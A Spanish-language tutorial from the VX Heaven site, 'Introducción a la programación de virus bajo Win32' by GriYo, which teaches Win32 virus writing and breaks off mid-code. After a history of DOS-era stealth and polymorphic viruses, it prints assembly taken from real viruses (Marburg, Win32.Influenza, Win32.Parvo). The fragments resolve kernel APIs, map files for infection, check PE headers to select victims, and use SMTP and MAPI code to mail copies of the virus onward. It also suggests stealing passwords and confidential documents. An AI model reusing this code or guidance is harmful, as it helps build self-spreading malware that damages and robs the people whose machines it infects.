Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Introducción a la programación de virus bajo Win32

GriYo

[De vuelta al índice] [Comentarios]

Indice.

Mirada al pasado.

Si damos un paseo por Internet en busca de páginas especializadas en el tema de los virus informáticos nos encontraremos con un montón de documentos, colecciones de virus, fuentes, links muertos y todo tipo de información totalmente obsoleta. El motivo de esto lo encontramos en la desaparición paulatina del MsDos. De los cerca de 30.000 virus conocidos hoy en día el 90% aproximadamente son virus de MsDos. La mayoría de estos virus de MsDos que fueron tan famosos hace años dejaron de funcionar con la aparición de Windows. Muchos virus utilizan métodos indocumentados y poco compatibles, y de igual forma que ocurre con los *exploits* o con los *denial of service* las técnicas empleadas dejan de funcionar, y los problemas de seguridad se arreglan ( aunque en ocasiones se acrecientan ).

Con la aparición de Windows 3.0 muchos virus perdieron la compatibilidad, pero la *scene* aun estaba muy concurrida, y no tardaron en salir a la luz trabajos orientados a este entorno. Esto mismo sucedió con la llegada de las sucesivas versiones de Windows anteriores al 95. Trabajos como el virus Sucksexee (aka Implant.6128) exprimieron hasta los extremos más insospechados toda la capacidad del MsDos. Algunas características de este virus son:

Full-stealth
Esta técnica persigue ocultar totalmente la existencia del virus. Si abrimos un fichero infectado este aparecerá limpio, y lo mismo ocurrirá si lo intentamos con un debugger. No se aprecia aumento alguno en el tamaño de los ejecutables, pese a que algunos han crecido cerca de 6Kb.
Retro-virus
El virus fue diseñado para atacar directamente al software antivirus. Un ejemplo: Si estando el virus activo en memoria ejecutamos el antes conocidísimo ThunderByte Antivirus, ciertos parámetros son añadidos automáticamente a la línea de comandos, de forma que el escaneo de la memoria quedaba desactivado sin que el usuario se percatara de esta perdida de operatividad en su software antivirus. Otra característica *retro* de este virus es su capacidad para desactivar el arranque desde disquetes, lo que obligaba a arrancar desde la unidad de disco ya infectada.
Polimorfismo
Esta técnica llegó de la mano de autores como Dark Avenger con su "Mutation Engine" o el grupo holandés Trident con su "TPE". La idea básica es crear un bucle sencillo que recorre el virus, encriptando cada byte. Este bucle es generado de forma tal que varia de una infección a otra. Las posibles variaciones en el bucle son:
  • Recorrer el virus desde la dirección de memoria mas baja, incrementando en cada iteración el puntero que hace referencia a esta dirección de memoria. O el caso opuesto, recorrer el virus desde el final ( dirección de memoria mas alta ) hasta el principio, decrementando el puntero en cada iteración.
  • En cada iteración el puntero incrementa o decrementa, pero esta variación puede ser de 1 byte o 2 bytes, puesto que el 8086 y sus sucesores permitían realizar operaciones con bytes o words.
  • La operación aritmética que se usa para encriptar el virus también es variable. Cualquiera vale, por simple que sea, lo importante es alcanzar la máxima variabilidad. El bucle puede recorrer el virus sumando 01h a cada byte, restando, haciendo un OR EXCLUSIVO o incluso rotando cada valor un numero de bits a la izquierda o derecha. Lo importante es que la operación utilizada sea sencilla y tenga inversa.

Como vemos, es posible hacer infinitas combinaciones, y esa es la clave. Los antivirus, por aquel entonces, realizaban la búsqueda de ficheros infectados mediante una sencilla comparación de cadenas. El antivirus abría cada fichero del disco y buscaba en su interior fragmentos de virus. Este método presentaba problemas claramente evidentes:

El polimorfismo significaba la evasión total y efectiva a estos métodos de detección. Un virus polimórfico presenta un numero tan elevado de posibles mutaciones que seria imposible almacenar y buscar todas sus variantes.

Multipartito
El virus infecta múltiples objetivos en un mismo sistema. En este caso se trata del MBR (Master Boot Record), los archivos con extensión .COM, los archivos .EXE e incluso los archivos. SYS. Encontramos esta característica en su máxima expresión en los virus multi-plataforma.

Me atrevería a decir que difícilmente se podía llegar tan lejos en las técnicas empleadas sin mermar gravemente la capacidad del sistema, pero para entonces los desarrolladores de antivirus menos incompetentes dieron con lo que pudo haber sido la solución definitiva. Apareció la búsqueda heurística, basada en la aplicación de técnicas de inteligencia artificial. Pero todos sabemos que por muy inteligente que sea un programa de ordenador, jamas lo será de igual manera que un ser humano, y no han tardado en aparecer técnicas *anti-heuristicas*. Pero veamos un poco mas sobre la búsqueda heurística. Se trata de examinar un programa en busca de signos de infección. Un virus, cuando infecta un ejecutable, necesita realizar algunos cambios en él, siendo estos cambios sospechosos el objeto de la búsqueda por parte del anti-virus. Los motores heurísticos más avanzados eran capaces de detectar virus polimórficos, puesto que detectaban el bucle de encriptación del que hablábamos anteriormente, e incluso llegaban mas lejos, y mediante emulación eran capaces de deshacer este bucle y obtener una imagen clara del virus, pudiendo aplicar entonces la búsqueda por cadenas tradicional. El problema de la búsqueda heurística radica en que ofrece siempre una solución, aunque esta pueda no ser la correcta. Me refiero a los falsos positivos, es decir, programas que por sus especiales características dan positivo al buscar virus en ellos. En mas de una ocasión algún conocido antivirus ha dado por infectado algún fichero del sistema, con la subsiguiente avalancha de usuarios mosqueados. Con la aparición de Windows 95 y de la nueva plataforma Win32 todas estas técnicas, dependientes del funcionamiento interno del MsDos, dejaron de funcionar. La mayoría de los virus de sector de arranque se delatan a sí mismos tras infectar una maquina con Windows 95, que incorpora algunos mecanismos de protección contra los virus, básicos y primitivos. Otro ejemplo de esta pérdida de funcionalidad son los virus *stealth*, puesto que emplean técnicas no compatibles con el nuevo formato de nombres largos y las nuevas funciones de búsqueda de ficheros del sistema.

El desarrollo de virus se paralizó durante un tiempo. Seguían apareciendo virus de MsDos, pero el peligro estaba ya lejos. Aparecieron los primeros intentos dentro del ámbito de Win32, de la mano del siempre innovador grupo VLAD y su virus Bizatch ( denominado Boza por la gente de los anti-virus). Este virus empleaba técnicas primitivas que impedían su correcto funcionamiento ( como asumir direcciones fijas en memoria para el kernel y sus funciones), pero suponía un primer paso que seguramente alentó a muchos otros autores que no tardaron en dar el paso y empezar a investigar sobre esta nueva plataforma. Fue en este paso, para algunos de gigante, cuando desapareció gran parte de la scene. Las paginas web que antes recogían puntual información sobre la scene empezaron a no ser actualizadas con tanta regularidad, dada la falta de avances o descubrimientos. Solo algunos grupos concentraron todas sus fuerzas en la nueva plataforma, y aparecieron los primeros intentos serios, de la mano de grupos como IKX o 29A.Jacky Qwerty, autor del grupo 29A, fue sin duda uno de los impulsores de la tecnología vírica bajo 32bits. Sus virus Jacky y Cabanas asentaron las bases de lo que luego serian infectores más complejos y avanzados. Los desarrolladores de anti-virus aun andaban pensando como portar sus motores de búsqueda heurística a Win32 cuando apareció el primer virus polimórfico capaz de infectar ejecutables de Win32. Marburg pillo a muchos con los pantalones bajados, y eso le impulso *in-the-wild* llegando a aparecer ficheros infectados en los CdRom de revistas ampliamente difundidas, como PcGamer o PcPowerPlay. Las primeras muestras del virus Marburg cayeron en manos de los desarrolladores de anti-virus en agosto de 1998, cuando el virus llevaba ya cerca de 9 meses *in-the-wild*. Pese a esto aun tardaron unos dos meses mas en ser capaces de adaptar sus paquetes para ser capaces de afrontar este nuevo ataque. La guerra se declaraba de nuevo.

La nueva plataforma suponía un esfuerzo extra a la hora de desarrollar virus, pero su mayor potencial ponía en las manos de sus autores armas aun más potentes. Describir este nuevo potencial y su aplicación al desarrollo de virus es el objetivo de este articulo.

Un alfabeto infinito.

Esta claro que 16bits no son lo mismo que 32bits, ¿pero que diferencia supone esto a la hora de diseñar un motor de polimorfismo?. Para empezar ya no contamos solo con registros de 16bits ( ax, bx, etc..) si no que disponemos de toda la potencia del juego de registros extendidos ( eax, ebx, etc..). Una primera mejora sobre un motor de polimorfismo de 16bits seria añadir los 16bits que le faltan para llegar a 32. Veamos un ejemplo con una instrucción sencilla en ensamblador, MOV con el registro acumulador como destino. Donde antes solo podíamos generar:

   
		MOV AL,imm8bit
		MOV AH,imm8bit
		MOV AX,imm16bit

Ahora contamos con las siguientes posibilidades:

		MOV AL,imm8bit
		MOV AH,imm8bit
		MOV AX,imm16bit
		MOV EAX,imm32bit

Esto solo supone un incremento en la variabilidad de una sola instrucción, pero si ampliamos el ejemplo al resto de los registros y al resto de las instrucciones veremos que se trata de una importante mejora. Otro aspecto importante radica en el acceso a memoria que el bucle realiza a la hora de desencriptar el virus. En los antiguos motores de polimorfismo contábamos con acceso byte a byte o word a word, por ejemplo:

   
		ADD BYTE PTR DS:[mem],imm8bit
		ADD WORD PTR DS:[mem],imm16bit

Puesto que ahora andamos en Win32 no solo nos podemos deshacer de los registros de segmento ( la memoria aparece plana a la vista de la aplicación, no segmentada) si no que además contamos con instrucciones que acceden a posiciones de memoria de 32bits. El ejemplo anterior se ampliaría a:

		ADD BYTE PTR [mem],imm8bit
		ADD WORD PTR [mem],imm16bit
		ADD DWORD PTR [mem],imm32bit

De nuevo ganamos una sola posibilidad mas de variación, pero repito, si esto lo aplicamos a todas las posibles instrucciones daremos con una bonita explosión combinatoria, a la que aun nos queda por añadir mas posibilidades. Una de ellas esta formada por los nuevos métodos de indexación, donde antes podíamos generar:

		ADD BYTE PTR DS:[reg],imm8bit
		ADD BYTE PTR DS:[reg+imm],imm8bit

Ahora nos encontramos con las siguientes posibilidades:

		ADD BYTE PTR [reg],imm8bit
		ADD BYTE PTR [reg+imm],imm8bit
		ADD BYTE PTR [reg+reg],imm8bit
		ADD BYTE PTR [reg+reg+imm],imm8bit

Incluso podemos utilizar alguno de los exóticos modos de indexación del 386+ como por ejemplo [reg*02h]. Aquí hemos ganados mas posibilidades, que se multiplican al aplicar el ejemplo no solo a ADD y a referencias a BYTE, si no al resto de las instruciones y al resto de los tamaños del operador ( WORD y DWORD). Evidentemente, un gran potencial, y solo hemos empezado por analizar las instrucciones y registros del procesador. La generación automática de código polimórfico alcanza sus más altas cotas en aquellos engines capaces de seguir la evolución del código que generan, conociendo en cualquier momento el estado de cualquier registro o incluso su valor. A continuación podemos observar un fragmento del decriptor polimórfico que el virus Win32.Influenza utiliza para ocultar su presencia en los ficheros infectados:

		:00401376 E81D000000     call   00401398
		.                        .
		.                        .
		.                        .
                :00401398 BE5F4D853E     mov    esi,3E854D5F
                :0040139D 87DE           xchg   esi,ebx
                :0040139F 5B             pop    ebx
                :004013A0 668BFB         mov    di,bx
                :004013A3 8BF8           mov    edi,eax
                :004013A5 66BDB0C8       mov    bp,C8B0
                :004013A9 5D             pop    ebp
                :004013AA 0F8C03000000   jl     004013B3
                :004013B0 6687D3         xchg   bx,dx
                :004013B3 FD             std
                :004013B4 664B           dec    bx
                :004013B6 E9AA260100     jmp    00413A65
                .                        .
                .                        .
                .                        .
                :00413A65 E815000000     call   00413A7F
                .                        .
                .                        .
                .                        .
                :00413A7F 87FA           xchg   edx,edi
                :00413A81 F8             clc
                :00413A82 664F           dec    di
                :00413A84 5B             pop    ebx
                :00413A85 8AEE           mov    ch,dh
                :00413A87 E912000000     jmp    00413A9E

Podemos observar como el código generado presenta una estructura compleja similar a la de un programa real. El motor de polimorfismo no tiene problemas para generar estructuras como la instrucción CALL de la dirección de memoria 00401376, que transfiere el control varias posiciones mas adelante. En la dirección 0040139F encontramos una instrucción POP que restaura el stack, eliminando la dirección de retorno guardada por la llamada anterior.

¿Quién ha escondido la caja de herramientas?.

En los virus basados en MsDos utilizábamos las interrupciones que nos permitían acceder a funciones del MsDos ( int 21h) o de la Bios (int 13h). Todas esas funciones que utilizábamos para abrir un fichero o escribir en él residen ahora en DLL's, en este caso en KERNEL32.DLL. Localizar la dirección en memoria donde reside este modulo es vital, y para ello contamos con varios trucos. El virus puede localizar las funciones utilizadas por el programa que lo porta, y utilizarlas para infectar. Esto supondría una grave limitación: Si un ejecutable no utiliza alguna de las funciones necesarias para el funcionamiento del virus, este ejecutable no podra ser infectado. Una forma de evitar este problema:

Existen otros métodos y seguramente aparecerán muchos mas, pero estos dos son los más efectivos a la hora de escribir este articulo. Una vez el virus tiene acceso a las APIs ( funciones) del sistema no hay nada que no pueda hacer ¿ o sí?. Para empezar el virus puede poner en funcionamiento las APIs GetModuleHandle y GetProcAddress recién obtenidas para obtener el punto de entrada de un montón de funciones del kernel que sin duda le harán falta mas adelante, por ejemplo:

Algunas o todas estas APIs pueden ser de utilidad para el virus. Es de destacar en este punto la función LoadLibrary, que nos permitirá cargar en memoria cualquier modulo de Windows y utilizar sus APIs.

El siguiente fragmento pertenece al virus Marburg. Se trata de la rutina encargada de localizar cada una de las APIs del kernel necesarias para el funcionamiento del virus, todo ello con la ayuda de GetProcAddress.

   
get_K32_APIs:   push ebx
                lea esi,dword ptr [ebp+viral_functions]
                lea edi,dword ptr [ebp+viral_addresses]
                mov ecx,(offset viral_tbl_end-offset viral_functions)/04h
get_each_ep:    cld
                lodsd
                add eax,ebp
                push ecx
                push esi
                push edi
                push eax
                push dword ptr [ebp+a_Kernel32]
                call dword ptr [ebp+a_GetProcAddr]
                pop edi
                pop esi
                pop ecx
                or eax,eax
                jz exit_get_func
                cld
                stosd
                loop get_each_ep
exit_get_func:  mov ecx,eax
                pop ebx
                ret

viral_functions equ this byte

                dd offset szCreateFileA
                dd offset szCreateFileMap
                dd offset szMapViewOfFile
                dd offset szUnmapView
                dd offset szCloseHandle
                dd offset szFindFirst
                dd offset szFindNext
                dd offset szFindClose
                dd offset szVirtualAlloc
                dd offset szGetWinDir
                dd offset szGetSysDir
                dd offset szGetCurDir
                dd offset szSetFileAttr
                dd offset szSetFileTime
                dd offset szDeleteFile
                dd offset szGetCurProc
                dd offset szWriteProcMem
                dd offset szLoadLibrary
                dd offset szGetSysTime

viral_tbl_end   equ this byte

szGetModuleH    db "GetModuleHandleA",00h
szGetProcAddr   db "GetProcAddress",00h
szCreateFileA   db "CreateFileA",00h
szCreateFileMap db "CreateFileMappingA",00h
szMapViewOfFile db "MapViewOfFile",00h
szUnmapView     db "UnmapViewOfFile",00h
szCloseHandle   db "CloseHandle",00h
szFindFirst     db "FindFirstFileA",00h
szFindNext      db "FindNextFileA",00h
szFindClose     db "FindClose",00h
szVirtualAlloc  db "VirtualAlloc",00h
szGetWinDir     db "GetWindowsDirectoryA",00h
szGetSysDir     db "GetSystemDirectoryA",00h
szGetCurDir     db "GetCurrentDirectoryA",00h
szSetFileAttr   db "SetFileAttributesA",00h
szSetFileTime   db "SetFileTime",00h
szDeleteFile    db "DeleteFileA",00h
szGetCurProc    db "GetCurrentProcess",00h
szWriteProcMem  db "WriteProcessMemory",00h
szLoadLibrary   db "LoadLibraryA",00h
szGetSysTime    db "GetSystemTime",00h

viral_addresses equ this byte

a_CreateFile    dd 00000000h
a_CreateFileMap dd 00000000h
a_MapViewOfFile dd 00000000h
a_UnmapView     dd 00000000h
a_CloseHandle   dd 00000000h
a_FindFirst     dd 00000000h
a_FindNext      dd 00000000h
a_FindClose     dd 00000000h
a_VirtualAlloc  dd 00000000h
a_GetWindowsDir dd 00000000h
a_GetSystemDir  dd 00000000h
a_GetCurDir     dd 00000000h
a_SetFileAttr   dd 00000000h
a_SetFileTime   dd 00000000h
a_DeleteFile    dd 00000000h
a_GetCurProc    dd 00000000h
a_WriteProcMem  dd 00000000h
a_LoadLibrary   dd 00000000h
a_GetSysTime    dd 00000000h

Todo lo que quieras hacer.

Utilizando las API's del kernel LoadLibrary y GetProcAddress podemos cargar cualquier modulo de Windows y obtener las direcciones de las API's que nos interesen dentro de él. Así podremos incluir en nuestro virus multitud de características nuevas que resultaban impensables cuando aun andábamos en el MsDos. Algunos de los módulos con cuyas API's podemos contar son:

USER32.DLL y GDI32.DLL
El corazón del interfaz gráfico que tan famoso ha hecho a Windows esta a nuestra disposición para facilitarnos las cosas a la hora de crear vistosos *payloads* para nuestros virus.
WSOCK32.DLL
Esta librería proporciona un juego de funciones orientadas a la programación de aplicaciones que utilizan TCP/IP. Con su ayuda podemos desarrollar aplicaciones como un cliente de FTP o un cliente de TELNET, pero también podemos utilizarlas dentro de un virus para, por ejemplo, conectar con un servidor de mail, componer y enviar un mensaje. Este mensaje puede enviarse a otros usuarios junto con una copia adjunta del virus ( mail spreading ) o puede enviarse a una cuenta perteneciente al autor del virus, junto a documentos confidenciales extraídos por el virus de la maquina contaminada.
WININET.DLL
Este modulo contiene funciones destinadas a facilitar tareas típicas de aplicaciones orientadas a Internet. Dentro de este modulo encontraremos funciones que nos permitirán conectar con el proveedor de Internet, transmitir ficheros (FTP), descargar páginas web o incluso jugar con las "cookies".
MAPI32.DLL
Este modulo alberga las funciones de mensajería de Windows. Con él podemos construir de forma sencilla un email y adjuntar un fichero al mismo. No siempre encontraremos este modulo en el sistema, y su utilización provoca en ocasiones la aparición de mensajes indicando el estado de la operación que se esta realizando ( el típico mensaje que muestra Outlook Express en el que se lee "contactando con el servidor" o "enviando mensaje" ). Es por esto que, pese a lo mucho que simplifican las tareas de enviar correo, no es recomendable su utilización en un virus, donde se supone que hay que ser un poco mas *discreto*.
ADVAPI32.DLL
El registro del sistema es sin duda una importantísima fuente de información. De él podemos extraer nombres de directorios, servidores, passwords y todo tipo de información *sensible*.

Estas son algunos de los módulos mas *golosos* con cuyas funciones podemos contar en nuestro virus, pero existe toda una pila de módulos destinados a multitud de tareas, no tenemos mas que echar un ojo al directorio SYSTEM32 dentro de la carpeta de Windows. Otros módulos interesantes en la programación de virus podrían ser: NETAPI32.DLL, SHELL32.DLL, RASAPI.DLL, OPENGL32.DLL...

Memoria fotografica.

Esta característica de Win32 nos da la posibilidad de traernos un ejecutable entero a memoria, por grande que sea, y acceder a él fácilmente utilizando como índice la dirección de memoria donde es mapeado. De esta forma nos evitamos constantes accesos a disco y desplazamientos innecesarios del puntero de lectura/escritura. El procedimiento es el siguiente:

Veamos un ejemplo de como funcionan estas API's:

      xor eax,eax                                     ;
      push eax                                        ;
      push FILE_ATTRIBUTE_NORMAL                      ; Atributos
      push OPEN_EXISTING                              ; Acción
      push eax                                        ;
      push eax                                        ;
      push GENERIC_WRITE or GENERIC_READ              ; Modo de acceso
      lea eax,dword ptr [ebp+file2open]               ; Nombre del fichero
      push eax                                        ;
      call dword ptr [ebp+a_CreateFileA]              ;
      cmp eax,INVALID_HANDLE_VALUE                    ; ¿ Error ?
      je error_createfile                             ;
      mov dword ptr [ebp+h_CreateFile],eax            ; Guardamos el handle
      xor eax,eax                                     ;
      push eax                                        ;
      push dword ptr [ebp+size]                       ; Tamaño del fichero
      push eax                                        ;
      push PAGE_READWRITE                             ; Derechos
      push eax                                        ;
      push dword ptr [ebp+h_CreateFile]               ; Handle
      call dword ptr [ebp+a_CreateFileMappingA]       ;
      or eax,eax                                      ; ¿ Error ?
      jz error_filemap                                ;
      mov dword ptr [ebp+h_FileMap],eax               ; Guardamos el handle
      xor eax,eax                                     ;
      push dword ptr [ebp+size]                       ; Tamaño del fichero
      push eax                                        ;
      push eax                                        ;
      push FILE_MAP_READ or FILE_MAP_WRITE            ; Modo de acceso

      push eax                                        ;
      call dword ptr [ebp+a_MapViewOfFile]            ;
      or eax,eax                                      ; ? Error ?
      jz error_view                                   ;
      mov dword ptr [ebp+base_addr],eax               ; Guardamos la direccion

Como resultado de la ejecución satisfactoria del código anterior obtenemos un puntero ( que guardamos en la dirección local indicada por base_addr ) al fichero en memoria. Utilizaremos este puntero para leer o escribir en memoria, reflejándose estas lecturas/escrituras en el fichero en disco. Una limitación en esta técnica radica en que no podemos hacer crecer el fichero una vez abierto. En el código anterior podemos observar como uno de los parámetros de llamada a estas API's es el tamaño del fichero. Pues bien, tendremos que abrir el fichero indicando su tamaño mas el tamaño requerido por el virus. Pero la primera vez que abrimos el fichero aun no sabemos si se trata de una víctima valida, algunas soluciones a este problema pasan por:

Protección contra errores.

La gestión de excepciones ( Structured Exception Handling ) es sin duda una de las características más interesantes y más utilizadas de Win32 y a la vez de las menos documentadas, al menos por lo que a su funcionamiento interno se refiere. Describir el funcionamiento y la implementación de esta técnica bien podria ser el objeto de un artículo entero, y en consecuencia no será tradado aqui. Para obtener mas informacion visita mi página web ([11]BioTech), en la sección *PAPERS* encontrarás el artículo "A Crash Course on the Depths of Win32 Structured Exception Handling". Un interesantísimo artículo escrito por Matt Pietrek ( autor de libros como "Windows 95 System Programming Secrets" ) acerca de las interioridades del *SEH*.

Un muro mas alto, pero con mas puertas.

Microsoft introdujo un nuevo formato para los ficheros ejecutables con la llegada de la plataforma Win32. El nuevo formato, llamado "Portable Executable", pese a resultar más complejo a primera vista, presenta una estructura jerarquizada que, una vez comprendidas las estructuras internas que lo forman, facilita enormemente las labores de búsqueda, análisis y modificación de los campos que nos interesan.

Lo primero que encontramos al analizar la estructura de un PE es la cabecera MsDos. Se trata de la misma cabecera que presentan los ficheros .EXE de MsDos. Su finalidad es mostrar un mensaje que dice algo así como "This program cannot be run in DOS mode", cuando intentamos ejecutar una aplicación de Windows estando en MsDos.

La cabecera de los ficheros .EXE de MsDos presenta una marca que permite identificarla como tal. Podremos verla si abrimos algún ejecutable con un editor hexadecimal, se trata de los caracteres "MZ". De igual manera, la cabecera PE se encuentra identificada por la cadena "PE\0\0" que encontramos como primer campo.

A continuación aparece la "FileHeader", que recoge información básica acerca del fichero, como el numero de secciones de que consta o la fecha y hora en que fue *linkado*. Veamos la declaración de esta estructura:

   
IMAGE_FILE_HEADER STRUC
	FH_Machine         		DW ?
	FH_NumberOfSections		DW ?
	FH_TimeDateStamp   		DD ?
	FH_PointerToSymbolTable		DD BYTE PTR ?
	FH_NumberOfSymbols 		DD ?
	FH_SizeOfOptionalHeader		DW ?
	FH_Characteristics		DW ?
IMAGE_FILE_HEADER ENDS

IMAGE_SIZEOF_FILE_HEADER         EQU SIZE IMAGE_FILE_HEADER

Le sigue la "OptionalHeader", que pese a su nombre de *optional* contiene información concreta e indispensable para la correcta interpretación del resto del ejecutable. Esta es la declaración:

   
IMAGE_OPTIONAL_HEADER    STRUC
 
 ; Standard fields:

 OH_Magic           		 DW ?
 OH_MajorLinkerVersion           DB ?
 OH_MinorLinkerVersion           DB ?
 OH_SizeOfCode      		 DD ?
 OH_SizeOfInitializedData        DD ?
 OH_SizeOfUninitializedData      DD ?
 OH_AddressOfEntryPoint          DD BYTE PTR ?
 OH_BaseOfCode       		 DD BYTE PTR ?
 OH_BaseOfData      		 DD BYTE PTR ?

 ; NT additional fields:
    
 OH_ImageBase       		DD BYTE PTR ?
 OH_SectionAlignment            DD ?
 OH_FileAlignment   		DD ?
 OH_MajorOperatingSystemVersion DW ?
 OH_MinorOperatingSystemVersion DW ?
 OH_MajorImageVersion           DW ?
 OH_MinorImageVersion           DW ?
 OH_MajorSubsystemVersion       DW ?
 OH_MinorSubsystemVersion       DW ?
 OH_Reserved1       		DD ?
 OH_SizeOfImage     		DD ?
 OH_SizeOfHeaders   		DD ?
 OH_CheckSum        		DD ?
 OH_Subsystem       		DW ?
 OH_DllCharacteristics          DW ?
 OH_SizeOfStackReserve          DD ?
 OH_SizeOfStackCommit           DD ?
 OH_SizeOfHeapReserve           DD ?
 OH_SizeOfHeapCommit            DD ?
 OH_LoaderFlags     		DD ?
 OH_NumberOfRvaAndSizes         DD ?
 
 UNION
 OH_DataDirectory   IMAGE_DATA_DIRECTORY    \
       IMAGE_NUMBEROF_DIRECTORY_ENTRIES	    \
       DUP (?)
 OH_DirectoryEntries             IMAGE_DIRECTORY_ENTRIES ?
 ENDS

IMAGE_OPTIONAL_HEADER            ENDS

IMAGE_SIZEOF_STD_OPTIONAL_HEADER EQU   28d
IMAGE_SIZEOF_NT_OPTIONAL_HEADER  EQU   SIZE IMAGE_OPTIONAL_HEADER

En el fichero PE.INC (ver "29A Include files" en el apéndice A) encontraras la declaración del resto de las estructuras que componen la cabecera PE. Como ejemplo de como acceder a estas estructuras vemos, a continuación, un fragmento del virus Win32.Parvo, en el que el virus chequea algunos campos de la cabecera PE para comprobar si el ejecutable es apto para el método de infección utilizado:

   
   ;Comprobar que la marca MZ esta presente en la dirección base
   ;del fichero mapeado en memoria

   cld
   cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
   jne inf_close_file

;Chequear la posición de la "relocation table"

   cmp word ptr [ebx+MZ_lfarlc],0040h
   jb inf_close_file

   ;Ahora nos desplazamos a la cabecera PE y miramos si podemos en contrar
   ;allí la marca que la identifica

   mov esi,dword ptr [ebx+MZ_lfanew]
   add esi,ebx
   lodsd
   cmp eax,IMAGE_NT_SIGNATURE
   jne inf_close_file

   ;Mirar la CPU para la que fue compilado este ejecutable
   ;permitir solo ejecutables para INTEL i386

   cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
   jne inf_close_file

   ;Un vistazo a las características para comprobar que se trata de un
   ;ejecutable

   mov ax,word ptr [esi+FH_Characteristics]
   test ax,IMAGE_FILE_EXECUTABLE_IMAGE
   jz inf_close_file

   ;Evitamos infectar DLL's

   test ax,IMAGE_FILE_DLL
   jnz inf_close_file

   ;Infectar sólo aplicaciones gráficas, no de consola
      
   cmp word ptr [esi+ \
    IMAGE_SIZEOF_FILE_HEADER+      \
    OH_Subsystem],IMAGE_SUBSYSTEM_WINDOWS_GUI
       
   jne inf_close_file

Tiene correo nuevo.

¿ Quién no ha jugado alguna vez a enviar un mail utilizando un cliente de TELNET?. Es bien sencillo, conectamos al puerto 25 (SMTP) del servidor de correo y vamos enviando los comandos necesarios para construir un mensaje, a saber:

   
   220 mail.servidor.cualquiera SMTP/smap Ready.
   helo server.mio
   250 (server.mio) pleased to meet you.
   mail from: <[email protected]>
   250 <[email protected]>... Sender Ok
   rcpt to: <[email protected]>
   250 <[email protected]> OK
   data
   354 Enter mail. end with "." on a line by itself.
   from: usuario <[email protected]>
   to:  destinatario <[email protected]>
   subject: Este es el asunto

Este es el cuerpo del mensaje

   .
   250 Mail accepted
   quit
   221 Closing connection

Pues esto es exactamente lo que un virus tiene que hacer para generar un mensaje de correo electrónico. Con la ayuda de las funciones de WINSOCK.DLL podemos realizar estas operaciones. Implementar un motor SMTP ( Simple Mail Transfer Protocol ) en ensamblador no es labor sencilla, veamos como ejemplo un fragmento del virus Win32.Influenza, en el que encontramos un ejemplo de como conectar con el servidor de mail:

   
   lea eax,dword ptr [ebp+WSA_data]   	; Iniciar WINSOCK
   push eax 				;
   push 00000101h        		;
   call dword ptr [ebp+a_WSAStartup]  	;
   or eax,eax            		; ¿ Error ?
   jnz WSA_CleanUp       		;
   lea eax,dword ptr [ebp+host_name]  	; Obtener host a partir de
   push eax 				; su nombre
   call dword ptr [ebp+a_gethostbyname] ;
   or eax,eax            		; ¿ Error ?
   jz WSA_CleanUp        		;
   cld      				;
   lea esi,dword ptr [eax+00000008h]  	;
   lea edi,dword ptr [ebp+SockAddrIn] 	;
   push edi 				;
   movsw    				;
   push 25  				; Puerto SMTP
   call dword ptr [ebp+a_htons]       	; Convertir byte-order
   cld      				;
   stosw    				;
   lodsw    				;
   movzx ecx,ax          		;
   lodsd    				;
   mov esi,dword ptr [eax]            	;
   rep movsb             		; Preparar SockAddrIn
   push ecx 				;
   push SOCK_STREAM      		; Usar TCP
   push AF_INET          		; Internet
   call dword ptr [ebp+a_socket]      	; Creamos el socket
   pop edi  				;
   cmp eax,00000000h     		; ¿ Error ?
   jl WSA_CleanUp        		;
   mov dword ptr [ebp+conn_sock],eax  	; Guardar descriptor
   push SizeOfAddrIn     		;
   push edi 				;
   push eax 				;
   call dword ptr [ebp+a_connect]     	; Conectar
   cmp eax,0FFFFFFFFh    		; ¿ Error ?
   je Disconnect         		;

La definición de las estructuras utilizadas en el ejemplo anterior, como WSA_data o SockAddrIn, podemos encontrarlas en los ficheros de *includes* de nuestro compilador de C favorito... O en el Win32 SDK de Microsoft, donde aparecen junto a detallada información sobre su utilización. El único inconveniente es que tenemos que portar todo a ensamblador, pero también se trata de una ventaja, si no prueba a escribir la misma función en C y compara el tamaño de los ejecutables resultantes.

Una forma de enviar mail, sencilla y eficaz pese a ser un tanto descarada, la encontramos en el siguiente código, que utiliza funciones de MAPI:

   
   ;Registrar nuestra sesion MAPI

   lea eax,dword ptr [ebp+hMAPISession]
   push eax          			;lppSession
   push 00000000h    			;ulReserved
   push 00000020h or 00008000h    	;flFlags
   push 00000000h    			;lpszPassword
   push 00000000h    			;lpszProfileName
   push 00000000h    			;ulUIParam
   call dword ptr [ebp+a_MAPILogon]
   or eax,eax
   jnz freeMAPI32

   ;Buscar un mensaje cualquiera dentro de las carpetas de
   ;Outlook

   lea eax,dword ptr [ebp+MessageID]
   push eax          ;lpszMessageID
   push 00000000h    ;ulReserved 

   ;MAPI_LONG_MSGID = 00004000h

   push 00004000h    ;flFlags
   push 00000000h    ;lpszSeedMessageID 
   push 00000000h    ;lpszMessageType
   push 00000000h    ;ulUIParam 
   push dword ptr [ebp+hMAPISession]           ;lhSession
   call dword ptr [ebp+a_MAPIFindNext]
   or eax,eax
   jnz logoutMAPI32

   ;Tomamos el mensaje

   lea eax,dword ptr [ebp+MessagePtr]
   push eax          ;lppMessage
   push 00000000h    ;ulReserved

   ;MAPI_ENVELOPE_ONLY = 00000040
   ;MAPI_PEEK         = 00000080h

   push 00000080h or 00000040h    ;flFlags           
 
     
   lea eax,dword ptr [ebp+MessageID]
   push eax          ;lpszMessageID
   push 00000000h    ;ulUIParam 
   push dword ptr [ebp+hMAPISession]           ;lhSession
   call dword ptr [ebp+a_MAPIReadMail]

   ;Construimos un nuevo mensaje utilizando parte de la informacion
   ;obtenida del mensaje anterior

   cld
   lea edi,dword ptr [ebp+MapiMessage]
   xor eax,eax
   stosd             ;ulReserved
   lea eax,dword ptr [ebp+szSubject]
   stosd             ;lpszSubject
   lea eax,dword ptr [ebp+szNoteText]
   stosd             ;lpszNoteText
   xor eax,eax
   stosd             ;lpszMessageType
   lea eax,dword ptr [ebp+szDate]
   stosd             ;lpszDate
   xor eax,eax
   stosd             ;lpszConversationID
   mov eax,00000002h ;MAPI_RECEIPT_REQUESTED 
   stosd             ;flFlags
   lea eax,dword ptr [ebp+MsgFrom]
   stosd             ;lpOriginator
   mov eax,00000001h
   stosd             ;nRecipCount
   lea eax,dword ptr [ebp+MsgTo]
   stosd             ;lpRecips
   mov eax,00000001h
   stosd             ;nFileCount
   lea eax,dword ptr [ebp+MapiFileDesc]
